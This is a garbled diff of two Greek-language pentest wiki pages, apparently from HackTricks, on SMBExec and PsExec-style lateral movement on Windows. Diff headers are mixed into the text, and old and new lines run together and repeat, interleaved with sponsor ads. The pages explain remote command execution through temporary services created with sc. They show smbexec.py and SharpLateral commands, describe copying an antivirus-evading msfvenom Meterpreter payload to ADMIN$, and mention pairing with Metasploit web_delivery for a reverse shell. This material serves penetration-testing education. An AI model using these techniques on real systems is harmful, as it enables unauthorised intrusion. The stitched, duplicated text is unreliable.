**Smbexec** είναι ένα εργαλείο που χρησιμοποιείται για απομακρυσμένη εκτέλεση εντολών σε συστήματα Windows, παρόμοιο με το **Psexec**, αλλά αποφεύγει την τοποθέτηση κακόβουλων αρχείων στο σύστημα-στόχο. #### Get a hacker's perspective on your web apps, network, and cloud
### Κύρια Σημεία σχετικά με το **SMBExec** **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works
**Smbexec** είναι ένα εργαλείο που χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών σε συστήματα Windows, παρόμοιο με το **Psexec**, αλλά αποφεύγει την τοποθέτηση κακόβουλων αρχείων στο σύστημα-στόχο.
### Key Points about **SMBExec**
- Λειτουργεί δημιουργώντας μια προσωρινή υπηρεσία (για παράδειγμα, "BTOBTO") στη μηχανή-στόχο για να εκτελεί εντολές μέσω του cmd.exe (%COMSPEC%), χωρίς να ρίχνει κανένα δυαδικό αρχείο. - Λειτουργεί δημιουργώντας μια προσωρινή υπηρεσία (για παράδειγμα, "BTOBTO") στη μηχανή-στόχο για να εκτελεί εντολές μέσω του cmd.exe (%COMSPEC%), χωρίς να ρίχνει κανένα δυαδικό αρχείο.
- Παρά την κρυφή του προσέγγιση, δημιουργεί αρχεία καταγραφής γεγονότων για κάθε εντολή που εκτελείται, προσφέροντας μια μορφή μη διαδραστικού "shell". - Παρά την κρυφή του προσέγγιση, δημιουργεί αρχεία καταγραφής συμβάντων για κάθε εντολή που εκτελείται, προσφέροντας μια μορφή μη διαδραστικού "shell".
- Η εντολή για σύνδεση χρησιμοποιώντας το **Smbexec** μοιάζει με αυτό: - Η εντολή για σύνδεση χρησιμοποιώντας το **Smbexec** μοιάζει με αυτό:
```bash ```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
@ -31,7 +39,7 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
- **Smbexec** επιτρέπει την άμεση εκτέλεση εντολών μέσω των binPaths υπηρεσίας, εξαλείφοντας την ανάγκη για φυσικά δυαδικά στον στόχο. - **Smbexec** επιτρέπει την άμεση εκτέλεση εντολών μέσω των binPaths υπηρεσίας, εξαλείφοντας την ανάγκη για φυσικά δυαδικά στον στόχο.
- Αυτή η μέθοδος είναι χρήσιμη για την εκτέλεση εντολών μίας φοράς σε έναν στόχο Windows. Για παράδειγμα, η σύνδεση της με το module `web_delivery` του Metasploit επιτρέπει την εκτέλεση ενός PowerShell-στοχευμένου αντίστροφου payload Meterpreter. - Αυτή η μέθοδος είναι χρήσιμη για την εκτέλεση εντολών μίας φοράς σε έναν στόχο Windows. Για παράδειγμα, η σύνδεση της με το module `web_delivery` του Metasploit επιτρέπει την εκτέλεση ενός PowerShell-στοχευμένου αντίστροφου payload Meterpreter.
- Δημιουργώντας μια απομακρυσμένη υπηρεσία στη μηχανή του επιτιθέμενου με το binPath ρυθμισμένο να εκτελεί την παρεχόμενη εντολή μέσω του cmd.exe, είναι δυνατόν να εκτελεστεί το payload με επιτυχία, επιτυγχάνοντας callback και εκτέλεση payload με τον listener του Metasploit, ακόμη και αν προκύψουν σφάλματα απόκρισης υπηρεσίας. - Δημιουργώντας μια απομακρυσμένη υπηρεσία στη μηχανή του επιτιθέμενου με το binPath ρυθμισμένο να εκτελεί την παρεχόμενη εντολή μέσω του cmd.exe, είναι δυνατό να εκτελεστεί το payload με επιτυχία, επιτυγχάνοντας callback και εκτέλεση payload με τον listener του Metasploit, ακόμη και αν προκύψουν σφάλματα απόκρισης υπηρεσίας.
### Παράδειγμα Εντολών ### Παράδειγμα Εντολών
@ -42,20 +50,28 @@ sc start [ServiceName]
``` ```
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Αναφορές ## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,57 +1,5 @@
# PsExec/Winexec/ScExec # PsExec/Winexec/ScExec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Πώς λειτουργούν
Η διαδικασία περιγράφεται στα παρακάτω βήματα, απεικονίζοντας πώς οι δυαδικοί κωδικοί υπηρεσιών χειρίζονται για να επιτευχθεί απομακρυσμένη εκτέλεση σε μια στοχοθετημένη μηχανή μέσω SMB:
1. **Αντιγραφή ενός δυαδικού κωδικού υπηρεσίας στο ADMIN$ share μέσω SMB** πραγματοποιείται.
2. **Δημιουργία μιας υπηρεσίας στη απομακρυσμένη μηχανή** γίνεται με την αναφορά στον δυαδικό κωδικό.
3. Η υπηρεσία **ξεκινά απομακρυσμένα**.
4. Με την έξοδο, η υπηρεσία **σταματά, και ο δυαδικός κωδικός διαγράφεται**.
### **Διαδικασία Χειροκίνητης Εκτέλεσης PsExec**
Υποθέτοντας ότι υπάρχει ένα εκτελέσιμο payload (δημιουργημένο με msfvenom και κρυμμένο χρησιμοποιώντας Veil για να αποφευχθεί η ανίχνευση από το antivirus), ονόματι 'met8888.exe', που αντιπροσωπεύει ένα payload meterpreter reverse_http, ακολουθούνται τα εξής βήματα:
- **Αντιγραφή του δυαδικού κωδικού**: Ο εκτελέσιμος κωδικός αντιγράφεται στο ADMIN$ share από μια γραμμή εντολών, αν και μπορεί να τοποθετηθεί οπουδήποτε στο σύστημα αρχείων για να παραμείνει κρυμμένος.
- **Δημιουργία μιας υπηρεσίας**: Χρησιμοποιώντας την εντολή `sc` των Windows, η οποία επιτρέπει την αναζήτηση, δημιουργία και διαγραφή υπηρεσιών Windows απομακρυσμένα, δημιουργείται μια υπηρεσία ονόματι "meterpreter" που δείχνει στον ανεβασμένο δυαδικό κωδικό.
- **Έναρξη της υπηρεσίας**: Το τελευταίο βήμα περιλαμβάνει την εκκίνηση της υπηρεσίας, η οποία πιθανότατα θα έχει ως αποτέλεσμα ένα σφάλμα "time-out" λόγω του ότι ο δυαδικός κωδικός δεν είναι γνήσιος δυαδικός κωδικός υπηρεσίας και αποτυγχάνει να επιστρέψει τον αναμενόμενο κωδικό απόκρισης. Αυτό το σφάλμα είναι ασήμαντο καθώς ο κύριος στόχος είναι η εκτέλεση του δυαδικού κωδικού.
Η παρατήρηση του listener του Metasploit θα αποκαλύψει ότι η συνεδρία έχει ξεκινήσει επιτυχώς.
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Βρείτε πιο λεπτομερή βήματα στο: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Μπορείτε επίσης να χρησιμοποιήσετε τον δυαδικό κωδικό PsExec.exe των Windows Sysinternals:**
![](<../../.gitbook/assets/image (165).png>)
Μπορείτε επίσης να χρησιμοποιήσετε [**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %}
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{% endcode %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -66,3 +14,69 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Πώς λειτουργούν
Η διαδικασία περιγράφεται στα παρακάτω βήματα, απεικονίζοντας πώς οι δυαδικοί κωδικοί υπηρεσιών χειρίζονται για να επιτευχθεί απομακρυσμένη εκτέλεση σε μια στοχευμένη μηχανή μέσω SMB:
1. **Αντιγραφή ενός δυαδικού κωδικού υπηρεσίας στο ADMIN$ share μέσω SMB** πραγματοποιείται.
2. **Δημιουργία μιας υπηρεσίας στη απομακρυσμένη μηχανή** γίνεται με την αναφορά στον δυαδικό κωδικό.
3. Η υπηρεσία **ξεκινά απομακρυσμένα**.
4. Με την έξοδο, η υπηρεσία **σταματά, και ο δυαδικός κωδικός διαγράφεται**.
### **Διαδικασία Χειροκίνητης Εκτέλεσης PsExec**
Υποθέτοντας ότι υπάρχει ένα εκτελέσιμο payload (δημιουργημένο με msfvenom και κρυμμένο χρησιμοποιώντας Veil για να αποφευχθεί η ανίχνευση από το antivirus), ονόματι 'met8888.exe', που αντιπροσωπεύει ένα payload meterpreter reverse_http, τα παρακάτω βήματα ακολουθούνται:
- **Αντιγραφή του δυαδικού κωδικού**: Ο εκτελέσιμος κωδικός αντιγράφεται στο ADMIN$ share από μια γραμμή εντολών, αν και μπορεί να τοποθετηθεί οπουδήποτε στο σύστημα αρχείων για να παραμείνει κρυμμένος.
- **Δημιουργία μιας υπηρεσίας**: Χρησιμοποιώντας την εντολή `sc` των Windows, η οποία επιτρέπει την αναζήτηση, δημιουργία και διαγραφή υπηρεσιών Windows απομακρυσμένα, δημιουργείται μια υπηρεσία ονόματι "meterpreter" που δείχνει στον ανεβασμένο δυαδικό κωδικό.
- **Έναρξη της υπηρεσίας**: Το τελευταίο βήμα περιλαμβάνει την εκκίνηση της υπηρεσίας, η οποία πιθανότατα θα έχει ως αποτέλεσμα ένα σφάλμα "time-out" λόγω του ότι ο δυαδικός κωδικός δεν είναι γνήσιος δυαδικός κωδικός υπηρεσίας και αποτυγχάνει να επιστρέψει τον αναμενόμενο κωδικό απόκρισης. Αυτό το σφάλμα είναι ασήμαντο καθώς ο κύριος στόχος είναι η εκτέλεση του δυαδικού κωδικού.
Η παρατήρηση του listener του Metasploit θα αποκαλύψει ότι η συνεδρία έχει ξεκινήσει επιτυχώς.
[Μάθετε περισσότερα για την εντολή `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Βρείτε πιο λεπτομερή βήματα στο: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Μπορείτε επίσης να χρησιμοποιήσετε τον δυαδικό κωδικό PsExec.exe των Windows Sysinternals:**
![](<../../.gitbook/assets/image (165).png>)
Μπορείτε επίσης να χρησιμοποιήσετε [**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %}
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}